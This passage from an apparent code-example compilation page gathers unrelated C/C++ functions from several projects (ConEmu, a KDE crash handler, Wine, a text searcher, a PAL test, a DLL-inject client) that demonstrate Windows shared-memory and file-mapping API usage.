		goto wrap;
		//SetLastError(nLastErr);
		//return NULL;
	}

	szGuiPipeName = (wchar_t*)malloc(cchMax*sizeof(*szGuiPipeName));
	if (!szGuiPipeName)
	{
		_ASSERTE(szGuiPipeName!=NULL);
		return NULL;
	}

	// Сначала пробуем Mapping консоли (вдруг есть?)
	if (!ConEmuRoot)
	{
		// создание этого объекта не позволяет отказаться от CRT (создается __chkstk)
		//MFileMapping<CESERVER_CONSOLE_MAPPING_HDR> ConMap;
		//ConMap.InitName(CECONMAPNAME, (DWORD)FarHwnd); 
		//CESERVER_CONSOLE_MAPPING_HDR* p = ConMap.Open();

		CESERVER_CONSOLE_MAPPING_HDR* p = NULL;

		msprintf(szGuiPipeName, cchMax, CECONMAPNAME, LODWORD(FarHwnd));
		#ifdef _DEBUG
		size_t nSize = sizeof(*p);
		#endif
		HANDLE hMapping = OpenFileMapping(FILE_MAP_READ, FALSE, szGuiPipeName);
		if (hMapping)
		{
			DWORD nFlags = FILE_MAP_READ;
			p = (CESERVER_CONSOLE_MAPPING_HDR*)MapViewOfFile(hMapping, nFlags,0,0,0);
		}

		if (p && p->hConEmuRoot && IsWindow(p->hConEmuRoot))
		{
			// Успешно
			ConEmuRoot = p->hConEmuRoot;
			ConEmuHwnd = p->hConEmuWndDc;
			ConEmuBack = p->hConEmuWndBack;
		}

		if (p)
			UnmapViewOfFile(p);
		if (hMapping)
			CloseHandle(hMapping);
	}

#if 0
	// Сервер не мог подцепиться БЕЗ создания мэппинга, поэтому CECMD_GETGUIHWND можно не делать
	if (!ConEmuRoot)
	{
		//BOOL lbRc = FALSE;
		pIn = (CESERVER_REQ*)calloc(1,sizeof(CESERVER_REQ));

		ExecutePrepareCmd(pIn, CECMD_GETGUIHWND, sizeof(CESERVER_REQ_HDR));
		//_wsprintf(szGuiPipeName, SKIPLEN(countof(szGuiPipeName)) CEGUIPIPENAME, L".", (DWORD)FarHwnd);
		msprintf(szGuiPipeName, cchMax, CEGUIPIPENAME, L".", (DWORD)FarHwnd);
		// Таймаут уменьшим, т.к. на результат не надеемся
		pOut = ExecuteCmd(szGuiPipeName, pIn, 250, FarHwnd);

		if (!pOut)
		{
			goto wrap;
		}

		if (pOut->hdr.cbSize != (sizeof(CESERVER_REQ_HDR)+2*sizeof(DWORD)) || pOut->hdr.nCmd != pIn->hdr.nCmd)
		{
			ExecuteFreeResult(pOut);
			pOut = NULL;
			goto wrap;
		}

		ConEmuRoot = (HWND)pOut->dwData[0];
		ConEmuHwnd = (HWND)pOut->dwData[1];
		// Сервер не мог подцепиться БЕЗ создания мэппинга, поэтому CECMD_GETGUIHWND не должен был пройти успешно
		_ASSERTE(ConEmuRoot == NULL);
		ExecuteFreeResult(pOut);
		pOut = NULL;
	}
#endif

wrap:
	SetLastError(nLastErr);
	//if (pIn)
	//	free(pIn);
	if (szGuiPipeName)
		free(szGuiPipeName);

	switch (aiType)
	{
	case 3:
		return ConEmuBack;
	case 2:
		return FarHwnd;
	case 0:
		return ConEmuHwnd;
	default: // aiType == 1
		return ConEmuRoot;
	}
}
Exemplo n.º 15
0
void AbstractBTGenerator::Run(HANDLE hThread, bool bFaultingThread)
{
    assert(m_process.IsValid());
    assert(hThread);

    if (!Init())
    {
        assert(false);
        return;
    }

    if (bFaultingThread)
    {
        const QString threadInfo = QString("Faulting thread (%1)").arg( reinterpret_cast<quintptr>(hThread) );
        emit DebugLine(threadInfo);
    }
    else
    {
        const QString threadInfo = QString("Thread %1").arg( reinterpret_cast<quintptr>(hThread) );
        emit DebugLine(threadInfo);
    }

    //HANDLE hFile = CreateFile(L"C:\\test\\test.dmp", FILE_ALL_ACCESS, FILE_SHARE_WRITE|FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
    //if (!MiniDumpWriteDump(m_process.GetHandle(), m_process.GetId(), hFile,
    //    MiniDumpNormal, NULL, NULL, NULL))
    //{
    //    HRESULT hres = (HRESULT) GetLastError();
    //    printf("%08X\n\n", hres);
    //}
    //SafeCloseHandle(hFile);

    DWORD dw = SuspendThread(hThread);
    assert(dw != DWORD(-1));
    if (dw == DWORD(-1))
    {
        qCritical() << "SuspendThread() failed: " << GetLastError();
        return;
    }

    CONTEXT context;
    ZeroMemory(&context, sizeof(context));
    if (!bFaultingThread)
    {
        // if it's not the faulting thread, get its context
        context.ContextFlags = CONTEXT_FULL;
        if (!GetThreadContext(hThread, &context))
        {
            ResumeThread(hThread);
            assert(false);
            qCritical() << "GetThreadContext() failed: " << GetLastError();
            return;
        }
    }
    else
    {
        // if it is, get it from KCrash
        HANDLE hMapFile = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, sharedMemoryName);
        if (hMapFile == NULL)
        {
            qCritical() << "OpenFileMapping() failed: " << GetLastError();
            return;
        }
        CONTEXT *othercontext = (CONTEXT*) MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(CONTEXT));
        if (othercontext == NULL)
        {
            qCritical() << "MapViewOfFile() failed: " << GetLastError();
            SafeCloseHandle(hMapFile);
            return;
        }
        CopyMemory(&context, othercontext, sizeof(CONTEXT));
        UnmapViewOfFile(othercontext); // continue even if it fails
        SafeCloseHandle(hMapFile);
    }

    // some of this stuff is taken from StackWalker
    ZeroMemory(&m_currentFrame, sizeof(m_currentFrame));
    DWORD machineType = IMAGE_FILE_MACHINE_UNKNOWN;
#if defined(_M_IX86)
    machineType = IMAGE_FILE_MACHINE_I386;
    m_currentFrame.AddrPC.Offset = context.Eip;
    m_currentFrame.AddrFrame.Offset = context.Ebp;
    m_currentFrame.AddrStack.Offset = context.Esp;
#elif defined(_M_X64)
    machineType = IMAGE_FILE_MACHINE_AMD64;
    m_currentFrame.AddrPC.Offset = context.Rip;
    m_currentFrame.AddrFrame.Offset = context.Rbp;
    m_currentFrame.AddrStack.Offset = context.Rsp;
#else
# error This architecture is not supported.
#endif
    m_currentFrame.AddrPC.Mode = AddrModeFlat;
    m_currentFrame.AddrFrame.Mode = AddrModeFlat;
    m_currentFrame.AddrStack.Mode = AddrModeFlat;

    SymSetOptions(SymGetOptions() | SYMOPT_UNDNAME | SYMOPT_LOAD_LINES);
    SymInitialize(m_process.GetHandle(), NULL, FALSE);

    LoadSymbols();

    for (int i = 0; /*nothing*/; i++)
    {
        SetLastError(0);

        if (!StackWalk64(
            machineType,
            m_process.GetHandle(),
            hThread,
            &m_currentFrame,
            &context,
            &Callbacks::ReadProcessMemory,
            &Callbacks::SymFunctionTableAccess64,
            &Callbacks::SymGetModuleBase64,
            NULL))
        {
            emit Finished();
            qDebug() << "Stackwalk finished; GetLastError=" << GetLastError();
            break;
        }
        
        FrameChanged();

        QString modulename = GetModuleName();
        QString functionname = GetFunctionName();
        QString file = GetFile();
        int line = GetLine();
        QString address = QString::number(m_currentFrame.AddrPC.Offset, 16);

        QString debugLine = QString::fromLatin1(BACKTRACE_FORMAT).
            arg(modulename).arg(functionname).arg(file).arg(line).arg(address);
        
        emit DebugLine(debugLine);
    }

    // Resume the target thread now, or else the crashing process will not
    // be terminated
    ResumeThread(hThread);

    SymCleanup(m_process.GetHandle());

    emit DebugLine(QString());
}
Exemplo n.º 16
0
LRESULT WINAPI LresultFromObject( REFIID riid, WPARAM wParam, LPUNKNOWN pAcc )
{
    static const WCHAR atom_fmt[] = {'%','0','8','x',':','%','0','8','x',':','%','0','8','x',0};
    static const LARGE_INTEGER seek_zero = {{0}};

    WCHAR atom_str[sizeof(lresult_atom_prefix)/sizeof(WCHAR)+3*8+3];
    IStream *stream;
    HANDLE mapping;
    STATSTG stat;
    HRESULT hr;
    ATOM atom;
    void *view;

    TRACE("%s %ld %p\n", debugstr_guid(riid), wParam, pAcc);

    if(wParam)
        FIXME("unsupported wParam = %lx\n", wParam);

    if(!pAcc)
        return E_INVALIDARG;

    hr = CreateStreamOnHGlobal(NULL, TRUE, &stream);
    if(FAILED(hr))
        return hr;

    hr = CoMarshalInterface(stream, riid, pAcc, MSHCTX_LOCAL, NULL, MSHLFLAGS_NORMAL);
    if(FAILED(hr)) {
        IStream_Release(stream);
        return hr;
    }

    hr = IStream_Seek(stream, seek_zero, STREAM_SEEK_SET, NULL);
    if(FAILED(hr)) {
        IStream_Release(stream);
        return hr;
    }

    hr = IStream_Stat(stream, &stat, STATFLAG_NONAME);
    if(FAILED(hr)) {
        CoReleaseMarshalData(stream);
        IStream_Release(stream);
        return hr;
    }else if(stat.cbSize.u.HighPart) {
        FIXME("stream size to big\n");
        CoReleaseMarshalData(stream);
        IStream_Release(stream);
        return E_NOTIMPL;
    }

    mapping = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE,
            stat.cbSize.u.HighPart, stat.cbSize.u.LowPart, NULL);
    if(!mapping) {
        CoReleaseMarshalData(stream);
        IStream_Release(stream);
        return hr;
    }

    view = MapViewOfFile(mapping, FILE_MAP_WRITE, 0, 0, 0);
    if(!view) {
        CloseHandle(mapping);
        CoReleaseMarshalData(stream);
        IStream_Release(stream);
        return E_FAIL;
    }

    hr = IStream_Read(stream, view, stat.cbSize.u.LowPart, NULL);
    UnmapViewOfFile(view);
    if(FAILED(hr)) {
        CloseHandle(mapping);
        hr = IStream_Seek(stream, seek_zero, STREAM_SEEK_SET, NULL);
        if(SUCCEEDED(hr))
            CoReleaseMarshalData(stream);
        IStream_Release(stream);
        return hr;

    }

    memcpy(atom_str, lresult_atom_prefix, sizeof(lresult_atom_prefix));
    sprintfW(atom_str+sizeof(lresult_atom_prefix)/sizeof(WCHAR),
             atom_fmt, GetCurrentProcessId(), HandleToUlong(mapping), stat.cbSize.u.LowPart);
    atom = GlobalAddAtomW(atom_str);
    if(!atom) {
        CloseHandle(mapping);
        hr = IStream_Seek(stream, seek_zero, STREAM_SEEK_SET, NULL);
        if(SUCCEEDED(hr))
            CoReleaseMarshalData(stream);
        IStream_Release(stream);
        return E_FAIL;
    }

    IStream_Release(stream);
    return atom;
}
Exemplo n.º 17
0
Client::~Client(){
	UnmapViewOfFile((LPCVOID)mData);
	CloseHandle(hFileMap);
}
Exemplo n.º 18
0
BOOL KStasticFluxCacheMgr::OpenCacheFile()
{
	BOOL	bRes = FALSE;
	HANDLE hFile = NULL;

	kws_log(TEXT("KStasticFluxCacheMgr::OpenCacheFile begin"));

	DWORD nWriteSize = 0;
	HANDLE hFileMap = NULL;
	BYTE* pMapBuf = NULL;
	KSecurityDesAcessByAnyone secByAny;

	hFile = ::CreateFile(m_strCacheFile,
		GENERIC_READ | GENERIC_WRITE,
		0, //FILE_SHARE_READ|FILE_SHARE_WRITE, 
		secByAny, 
		OPEN_EXISTING, 
		FILE_ATTRIBUTE_NORMAL, 
		NULL);

	if (hFile == INVALID_HANDLE_VALUE)
	{
		kws_log(TEXT("create file error :%d: %s"), ::GetLastError(), (LPCWSTR)m_strCacheFile);
		goto exit0;
	}

	if (!VerifyCacheFile(hFile))
	{
		kws_log(TEXT("VerifyCacheFile failed:"));
		goto exit0;
	}

	hFileMap = ::CreateFileMapping(hFile, secByAny, PAGE_READWRITE | SEC_COMMIT, 
		0, ::GetFileSize(hFile, NULL), m_strUrlMapName);

	if (NULL == hFileMap)
	{
		kws_log(TEXT("CreateFileMapping failed: %d"), ::GetLastError());
		goto exit0;
	}

	pMapBuf = (BYTE*)::MapViewOfFile(hFileMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);

	m_hFile = hFile;
	m_hFileMap = hFileMap;
	m_pData = pMapBuf;

	SetObjectToLowIntegrity(m_hFile);
	SetObjectToLowIntegrity(m_hFileMap);

	kws_log(TEXT("KStasticFluxCacheMgr::OpenCacheFile end sucess"));
	return TRUE;

exit0:
	if (pMapBuf)
	{
		UnmapViewOfFile(pMapBuf);
		pMapBuf = NULL;
	}
	if (hFileMap)
	{
		::CloseHandle(hFileMap);
		hFileMap = NULL;
	}
	if (hFile)
	{
		::CloseHandle(hFile);
		hFile = NULL;
	}
	return FALSE;
}
Exemplo n.º 19
0
void search_file(const char *file_full_path) {
    int fd;
    off_t f_len = 0;
    char *buf = NULL;
    struct stat statbuf;
    int rv = 0;
    FILE *pipe = NULL;

    fd = open(file_full_path, O_RDONLY);
    if (fd < 0) {
        /* XXXX: strerror is not thread-safe */
        log_err("Skipping %s: Error opening file: %s", file_full_path, strerror(errno));
        goto cleanup;
    }

    rv = fstat(fd, &statbuf);
    if (rv != 0) {
        log_err("Skipping %s: Error fstat()ing file.", file_full_path);
        goto cleanup;
    }

    if (opts.stdout_inode != 0 && opts.stdout_inode == statbuf.st_ino) {
        log_debug("Skipping %s: stdout is redirected to it", file_full_path);
        goto cleanup;
    }

    if ((statbuf.st_mode & S_IFMT) == 0) {
        log_err("Skipping %s: Mode %u is not a file.", file_full_path, statbuf.st_mode);
        goto cleanup;
    }

    if (statbuf.st_mode & S_IFIFO) {
        log_debug("%s is a named pipe. stream searching", file_full_path);
        pipe = fdopen(fd, "r");
        search_stream(pipe, file_full_path);
        fclose(pipe);
    } else {
        f_len = statbuf.st_size;

        if (f_len == 0) {
            log_debug("Skipping %s: file is empty.", file_full_path);
            goto cleanup;
        }

        if (!opts.literal && f_len > INT_MAX) {
            log_err("Skipping %s: pcre_exec() can't handle files larger than %i bytes.", file_full_path, INT_MAX);
            goto cleanup;
        }

#ifdef _WIN32
        {
            HANDLE hmmap = CreateFileMapping(
                (HANDLE)_get_osfhandle(fd), 0, PAGE_READONLY, 0, f_len, NULL);
            buf = (char *)MapViewOfFile(hmmap, FILE_SHARE_READ, 0, 0, f_len);
            if (hmmap != NULL)
                CloseHandle(hmmap);
        }
        if (buf == NULL) {
            FormatMessageA(
                FORMAT_MESSAGE_ALLOCATE_BUFFER |
                    FORMAT_MESSAGE_FROM_SYSTEM |
                    FORMAT_MESSAGE_IGNORE_INSERTS,
                NULL, GetLastError(), 0, (void *)&buf, 0, NULL);
            log_err("File %s failed to load: %s.", file_full_path, buf);
            LocalFree((void *)buf);
            goto cleanup;
        }
#else
        buf = mmap(0, f_len, PROT_READ, MAP_SHARED, fd, 0);
        if (buf == MAP_FAILED) {
            log_err("File %s failed to load: %s.", file_full_path, strerror(errno));
            goto cleanup;
        }
#endif

        if (opts.search_zip_files) {
            ag_compression_type zip_type = is_zipped(buf, f_len);
            if (zip_type != AG_NO_COMPRESSION) {
                int _buf_len = (int)f_len;
                char *_buf = decompress(zip_type, buf, f_len, file_full_path, &_buf_len);
                if (_buf == NULL || _buf_len == 0) {
                    log_err("Cannot decompress zipped file %s", file_full_path);
                    goto cleanup;
                }
                search_buf(_buf, _buf_len, file_full_path);
                free(_buf);
                goto cleanup;
            }
        }

        search_buf(buf, (int)f_len, file_full_path);
    }

cleanup:

    if (fd != -1) {
#ifdef _WIN32
        UnmapViewOfFile(buf);
#else
        munmap(buf, f_len);
#endif
        close(fd);
    }
}
Exemplo n.º 20
0
//
//	Wrapper around WM_SETCONSOLEINFO. We need to create the
//  necessary section (file-mapping) object in the context of the
//  process which owns the console, before posting the message
//
BOOL SetConsoleInfo(HWND hwndConsole, CONSOLE_INFO *pci)
{
	DWORD   dwConsoleOwnerPid, dwCurProcId;
	PVOID   ptrView = 0;
	DWORD   dwLastError=0;
	WCHAR   ErrText[255];
	//
	//	Retrieve the process which "owns" the console
	//
	dwCurProcId = GetCurrentProcessId();
	
	DEBUGTEST(DWORD dwConsoleThreadId =)
	GetWindowThreadProcessId(hwndConsole, &dwConsoleOwnerPid);

	// We'll fail, if console was created by other process
	if (dwConsoleOwnerPid != dwCurProcId)
	{
		#ifdef _DEBUG
		// Wine related
		PROCESSENTRY32W pi = {};
		GetProcessInfo(dwConsoleOwnerPid, &pi);
		if (lstrcmpi(pi.szExeFile, L"wineconsole.exe")!=0)
		{
			wchar_t szDbgMsg[512], szTitle[128];
			szDbgMsg[0] = 0;
			GetModuleFileName(NULL, szDbgMsg, countof(szDbgMsg));
			msprintf(szTitle, countof(szTitle), L"%s: PID=%u", PointToName(szDbgMsg), GetCurrentProcessId());
			msprintf(szDbgMsg, countof(szDbgMsg), L"GetWindowThreadProcessId()\nPID=%u, TID=%u, %s\n%s",
				dwConsoleOwnerPid, dwConsoleThreadId,
				pi.szExeFile, szTitle);
			MessageBox(NULL, szDbgMsg, szTitle, MB_SYSTEMMODAL);
		}
		//_ASSERTE(dwConsoleOwnerPid == dwCurProcId);
		#endif

		return FALSE;
	}

	//
	// Create a SECTION object backed by page-file, then map a view of
	// this section into the owner process so we can write the contents
	// of the CONSOLE_INFO buffer into it
	//
	if (!ghConsoleSection)
	{
		ghConsoleSection = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, gnConsoleSectionSize, 0);

		if (!ghConsoleSection)
		{
			dwLastError = GetLastError();
			_wsprintf(ErrText, SKIPLEN(countof(ErrText)) L"Can't CreateFileMapping(ghConsoleSection). ErrCode=%i", dwLastError);
			MessageBox(NULL, ErrText, L"ConEmu", MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
			return FALSE;
		}

		_ASSERTE(OnShutdownConsole==NULL || OnShutdownConsole==ShutdownConsole);
		OnShutdownConsole = ShutdownConsole;
	}

	//
	//	Copy our console structure into the section-object
	//
	ptrView = MapViewOfFile(ghConsoleSection, FILE_MAP_WRITE|FILE_MAP_READ, 0, 0, gnConsoleSectionSize);

	if (!ptrView)
	{
		dwLastError = GetLastError();
		_wsprintf(ErrText, SKIPLEN(countof(ErrText)) L"Can't MapViewOfFile. ErrCode=%i", dwLastError);
		MessageBox(NULL, ErrText, L"ConEmu", MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
	}
	else
	{
		_ASSERTE(pci->Length==sizeof(CONSOLE_INFO));
		//2010-09-19 что-то на XP стало окошко мелькать.
		// при отсылке WM_SETCONSOLEINFO консоль отображается :(
		BOOL lbWasVisible = IsWindowVisible(hwndConsole);
		RECT rcOldPos = {0}, rcAllMonRect = {0};

		if (!lbWasVisible)
		{
			GetWindowRect(hwndConsole, &rcOldPos);
			// В много-мониторных конфигурациях координаты на некоторых могут быть отрицательными!
			rcAllMonRect = GetAllMonitorsWorkspace();
			pci->AutoPosition = FALSE;
			pci->WindowPosX = rcAllMonRect.left - 1280;
			pci->WindowPosY = rcAllMonRect.top - 1024;
		}

		memcpy(ptrView, pci, pci->Length); //-V106
		UnmapViewOfFile(ptrView);

		//  Send console window the "update" message
		DEBUGTEST(LRESULT dwConInfoRc =)
		SendMessage(hwndConsole, WM_SETCONSOLEINFO, (WPARAM)ghConsoleSection, 0);

		DEBUGTEST(DWORD dwConInfoErr = GetLastError());

		if (!lbWasVisible && IsWindowVisible(hwndConsole))
		{
			//DEBUGTEST(Sleep(10));

			apiShowWindow(hwndConsole, SW_HIDE);
			//SetWindowPos(hwndConsole, NULL, rcOldPos.left, rcOldPos.top, 0,0, SWP_NOSIZE|SWP_NOZORDER);
			// -- чтобы на некоторых системах не возникала проблема с позиционированием -> {0,0}
			// Issue 274: Окно реальной консоли позиционируется в неудобном месте
			SetWindowPos(hwndConsole, NULL, 0, 0, 0,0, SWP_NOSIZE|SWP_NOZORDER);
		}
	}

	return TRUE;
}
Exemplo n.º 21
0
int DestroySharedMem()
{
	return (!UnmapViewOfFile(sdCmdLine)) || (!CloseHandle(hsmCmdLine));
}
Exemplo n.º 22
0
int __cdecl main(int argc, char *argv[])
{
    char    testString[] = "this is a test string";
    WCHAR   lpObjectName[] = {'m','y','O','b','j','e','c','t','\0'};
    char    results[2048];
    int     RetVal = PASS;
    
    HANDLE hFileMapRW;
    LPVOID lpMapViewRW;
    LPVOID lpMapViewRO;

    /* Initialize the PAL environment.
     */
    if(0 != PAL_Initialize(argc, argv))
    {
        return FAIL;
    }

    /* Initialize the buffers.
     */
    memset(results,  0, MAPPINGSIZE);

    /* Create a named file-mapping object with file handle FileHandle
     * and with PAGE_READWRITE protection.
    */
    hFileMapRW = CreateFileMapping(
                            SWAP_HANDLE,
                            NULL,               /*not inherited*/
                            PAGE_READWRITE,     /*read write*/
                            0,                  /*high-order size*/
                            MAPPINGSIZE,        /*low-order size*/
                            lpObjectName);      /*unnamed object*/

    if(NULL == hFileMapRW)
    {
        Fail("ERROR:%u: Failed to create File Mapping.\n", 
             GetLastError());
    }

    /* Create a map view to the READWRITE file mapping.
     */
    lpMapViewRW = MapViewOfFile(
                            hFileMapRW,
                            FILE_MAP_ALL_ACCESS,/* access code */
                            0,                  /* high order offset*/
                            0,                  /* low order offset*/
                            MAPPINGSIZE);       /* number of bytes for map */

    if(NULL == lpMapViewRW)
    {
        Trace("ERROR:%u: Failed to call MapViewOfFile "
              "API to map a view of file!\n", 
              GetLastError());
        RetVal = FAIL;
        goto CleanUpOne;
    }


    /* Create a map view to the READWRITE file mapping.
     */
    lpMapViewRO = MapViewOfFile(
                            hFileMapRW,
                            FILE_MAP_READ,        /* access code */
                            0,                    /* high order offset*/
                            0,                    /* low order offset*/
                            MAPPINGSIZE);         /* number of bytes for map */

    if(NULL == lpMapViewRO)
    {
        Trace("ERROR:%u: Failed to call MapViewOfFile "
              "API to map a view of file!\n", 
              GetLastError());
        RetVal = FAIL;
        goto CleanUpTwo;
    }

    /* Write the test string to the Map view.
    */    
    memcpy(lpMapViewRW, testString, strlen(testString));

    /* Read from the second Map view.
    */
    memcpy(results, (LPCSTR)lpMapViewRO, MAPPINGSIZE);

    /* Verify the contents of the file mapping,
     * by comparing what was written to what was read.
     */
    if (memcmp(results, testString, strlen(testString))!= 0)
    {
        Trace("ERROR: MapViewOfFile not equal to file contents "
              "retrieved \"%s\", expected \"%s\".\n",
              results,
              testString);
        RetVal = FAIL;
        goto CleanUpThree;
    }

    /* Test successful.
     */
    RetVal = PASS;

CleanUpThree:
        
    /* Unmap the view of file.
     */
    if ( UnmapViewOfFile(lpMapViewRO) == FALSE )
    {
        Trace("ERROR:%u: Failed to UnmapViewOfFile of \"%0x%lx\".\n",
                GetLastError(),
                lpMapViewRO);
        RetVal = FAIL;
    }   

CleanUpTwo:

    /* Unmap the view of file.
     */
    if ( UnmapViewOfFile(lpMapViewRW) == FALSE )
    {
        Trace("ERROR:%u: Failed to UnmapViewOfFile of \"%0x%lx\".\n",
                GetLastError(),
                lpMapViewRW);
        RetVal = FAIL;
    }


CleanUpOne:
        
    /* Close Handle to create file mapping.
     */
    if ( CloseHandle(hFileMapRW) == FALSE )
    {
        Trace("ERROR:%u: Failed to CloseHandle \"0x%lx\".\n",
                GetLastError(),
                hFileMapRW);
        RetVal = FAIL;
    }


    /* Terminate the PAL.
     */ 
    PAL_TerminateEx(RetVal);
    return RetVal;
}
Exemplo n.º 23
0
BOOL CDllInjectClient::Connect( CONST WCHAR * aKey , PFN_DLL_INJECT_CLIENT_INIT_CBK aInitCbk )
{
    DbgOut( VERB , DBG_DLL_INJECT_MGR , "Enter. aKey=%ws" , aKey );

    _ASSERT( aKey );
    BOOL bRet = FALSE;
    
    HANDLE hSmInit = NULL;
    DLL_INJECT_SERVER_SM_INIT * pSmInit = NULL;

    if ( this->IsConnected() )
    {
        if ( m_wstrKey == aKey )
        {
            DbgOut( WARN , DBG_DLL_INJECT_MGR , "Shared memory already connected. aKey=%ws" , aKey );
            SetLastError( ERROR_ALREADY_EXISTS );
            bRet = TRUE;
        }
        else
        {
            DbgOut( ERRO , DBG_DLL_INJECT_MGR , "Shared memory already used by others. m_wstrKey=%ws, aKey=%ws" , m_wstrKey.c_str() , aKey );
            SetLastError( ERROR_ADDRESS_ALREADY_ASSOCIATED );
        }
        goto exit;
    }

    //Get all necessary handles and configuration from named share memory
    hSmInit = OpenFileMappingW( FILE_MAP_READ | FILE_MAP_WRITE , FALSE , aKey );
    if ( ! hSmInit )
    {
        DbgOut( ERRO , DBG_DLL_INJECT_MGR , "OpenFileMappingW() with name %ws failed. GetLastError()=%!WINERROR!" , aKey , GetLastError() );
        goto exit;
    }
    pSmInit = (DLL_INJECT_SERVER_SM_INIT *)MapViewOfFile( hSmInit , FILE_MAP_ALL_ACCESS , 0 , 0 , 0 );
    if ( ! pSmInit )
    {
        DbgOut( ERRO , DBG_DLL_INJECT_MGR , "MapViewOfFile() with name %ws failed. GetLastError()=%!WINERROR!" , aKey , GetLastError() );
        goto exit;
    }

    //Shared memory can be opened. Get data from shared memory first and then validate the content later
    m_wstrKey = aKey;
    CopyMemory( &m_SmInit , pSmInit , sizeof(m_SmInit) );

    pSmInit->InitRsp.dwHookStatus = ERROR_APP_INIT_FAILURE;
    pSmInit->InitRsp.hModule = (UINT64)GetModuleHandleW( NULL );

    

    //Validate Local handles
    if ( NULL == pSmInit->InitReq.Local.pLocalCtx || NULL == pSmInit->InitReq.Local.hRemoteProc || NULL == pSmInit->InitReq.Local.pfnFreeLibrary )
    {
        DbgOut( ERRO , DBG_DLL_INJECT_MGR , "InitReq.Local data are invalid" );
        goto exit;
    }

    //Validate Remote handles
    if ( NULL == pSmInit->InitReq.Remote.hEvtInitRsp || NULL == pSmInit->InitReq.Remote.hDllInjectMgrAliveThread )
    {
        DbgOut( ERRO , DBG_DLL_INJECT_MGR , "InitReq.Remote data are invalid" );
        goto exit;
    }
    for ( size_t i = 0 ; i < _countof( pSmInit->InitReq.Remote.hPerServerSm ) ; i++ )
    {
        if ( NULL == pSmInit->InitReq.Remote.hPerServerSm[i] )
        {
            DbgOut( ERRO , DBG_DLL_INJECT_MGR , "InitReq.Remote.hPerServerSm are invalid" );
            goto exit;
        }
    }
    for ( size_t i = 0 ; i < _countof( pSmInit->InitReq.Remote.hPerServerMutex ) ; i++ )
    {
        if ( NULL == pSmInit->InitReq.Remote.hPerServerMutex[i] )
        {
            DbgOut( ERRO , DBG_DLL_INJECT_MGR , "InitReq.Remote.hPerServerMutex are invalid" );
            goto exit;
        }
    }
    for ( size_t i = 0 ; i < _countof( pSmInit->InitReq.Remote.hPerServerEvt ) ; i++ )
    {
        if ( NULL == pSmInit->InitReq.Remote.hPerServerEvt[i] )
        {
            DbgOut( ERRO , DBG_DLL_INJECT_MGR , "InitReq.Remote.hPerServerEvt are invalid" );
            goto exit;
        }
    }
    for ( size_t i = 0 ; i < _countof( pSmInit->InitReq.Remote.hPerClientEvt ) ; i++ )
    {
        if ( NULL == pSmInit->InitReq.Remote.hPerClientEvt[i] )
        {
            DbgOut( ERRO , DBG_DLL_INJECT_MGR , "InitReq.Remote.hPerClientEvt are invalid" );
            goto exit;
        }
    }

    //Get shared memory used to exchange data
    m_SmData[PER_SERVER_SM_INDEX_REMOTE_TO_LOCAL] = (PDLL_INJECT_SERVER_SM_DATA_HEADER)MapViewOfFile( (HANDLE)pSmInit->InitReq.Remote.hPerServerSm[PER_SERVER_SM_INDEX_REMOTE_TO_LOCAL] , FILE_MAP_ALL_ACCESS , 0 , 0 , 0 );
    if ( NULL == m_SmData[PER_SERVER_SM_INDEX_REMOTE_TO_LOCAL] )
    {
        DbgOut( ERRO , DBG_DLL_INJECT_MGR , "MapViewOfFile() with PER_SERVER_SM_INDEX_REMOTE_TO_LOCAL failed. GetLastError()=%!WINERROR!" , GetLastError() );
        pSmInit->InitRsp.dwHookStatus = GetLastError();
        goto exit;
    }
    m_SmData[PER_SERVER_SM_INDEX_LOCAL_TO_REMOTE] = (PDLL_INJECT_SERVER_SM_DATA_HEADER)MapViewOfFile( (HANDLE)pSmInit->InitReq.Remote.hPerServerSm[PER_SERVER_SM_INDEX_LOCAL_TO_REMOTE] , FILE_MAP_ALL_ACCESS , 0 , 0 , 0 );
    if ( NULL == m_SmData[PER_SERVER_SM_INDEX_LOCAL_TO_REMOTE] )
    {
        DbgOut( ERRO , DBG_DLL_INJECT_MGR , "MapViewOfFile() with PER_SERVER_SM_INDEX_LOCAL_TO_REMOTE failed. GetLastError()=%!WINERROR!" , GetLastError() );
        pSmInit->InitRsp.dwHookStatus = GetLastError();
        goto exit;
    }

    DbgOut( VERB , DBG_DLL_INJECT_MGR , "Remote.hPerClientEvt[PER_CLIENT_EVT_INDEX_STOP]=0x%p, Remote.hPerClientEvt[PER_CLIENT_EVT_INDEX_REMOTE_REQ_OK]=0x%p, Remote.hPerClientEvt[PER_CLIENT_EVT_INDEX_REMOTE_RSP]=0x%p" ,
            (HANDLE)pSmInit->InitReq.Remote.hPerClientEvt[PER_CLIENT_EVT_INDEX_STOP] , (HANDLE)pSmInit->InitReq.Remote.hPerClientEvt[PER_CLIENT_EVT_INDEX_REMOTE_REQ_OK] , (HANDLE)pSmInit->InitReq.Remote.hPerClientEvt[PER_CLIENT_EVT_INDEX_REMOTE_RSP] );

    pSmInit->InitRsp.dwHookStatus = ( aInitCbk ) ? aInitCbk( pSmInit->InitReq.wzServerDirPath , pSmInit->InitReq.wzClientCfgPath ) : ERROR_SUCCESS;
    if ( ERROR_SUCCESS == pSmInit->InitRsp.dwHookStatus )
    {
        ATOMIC_ASSIGN( m_bConnected , TRUE );
        bRet = TRUE;
    }
    
exit :
    if ( pSmInit && pSmInit->InitReq.Remote.hEvtInitRsp )
    {
        SetEvent( (HANDLE)pSmInit->InitReq.Remote.hEvtInitRsp );
        CloseHandle( (HANDLE)pSmInit->InitReq.Remote.hEvtInitRsp );
        pSmInit->InitReq.Remote.hEvtInitRsp = NULL;
        m_SmInit.InitReq.Remote.hEvtInitRsp = NULL;
    }

    if ( pSmInit && FALSE == UnmapViewOfFile( pSmInit ) )
    {
        DbgOut( ERRO , DBG_DLL_INJECT_MGR , "UnmapViewOfFile() pSmInit failed. GetLastError()=%!WINERROR!" , GetLastError() );
    }
    if ( hSmInit && FALSE == CloseHandle( hSmInit ) )
    {
        DbgOut( ERRO , DBG_DLL_INJECT_MGR , "CloseHandle() hSmInit failed. GetLastError()=%!WINERROR!" , GetLastError() );
    }

    if ( FALSE == bRet )
    {
        this->Disconnect();
    }
    return bRet;
}
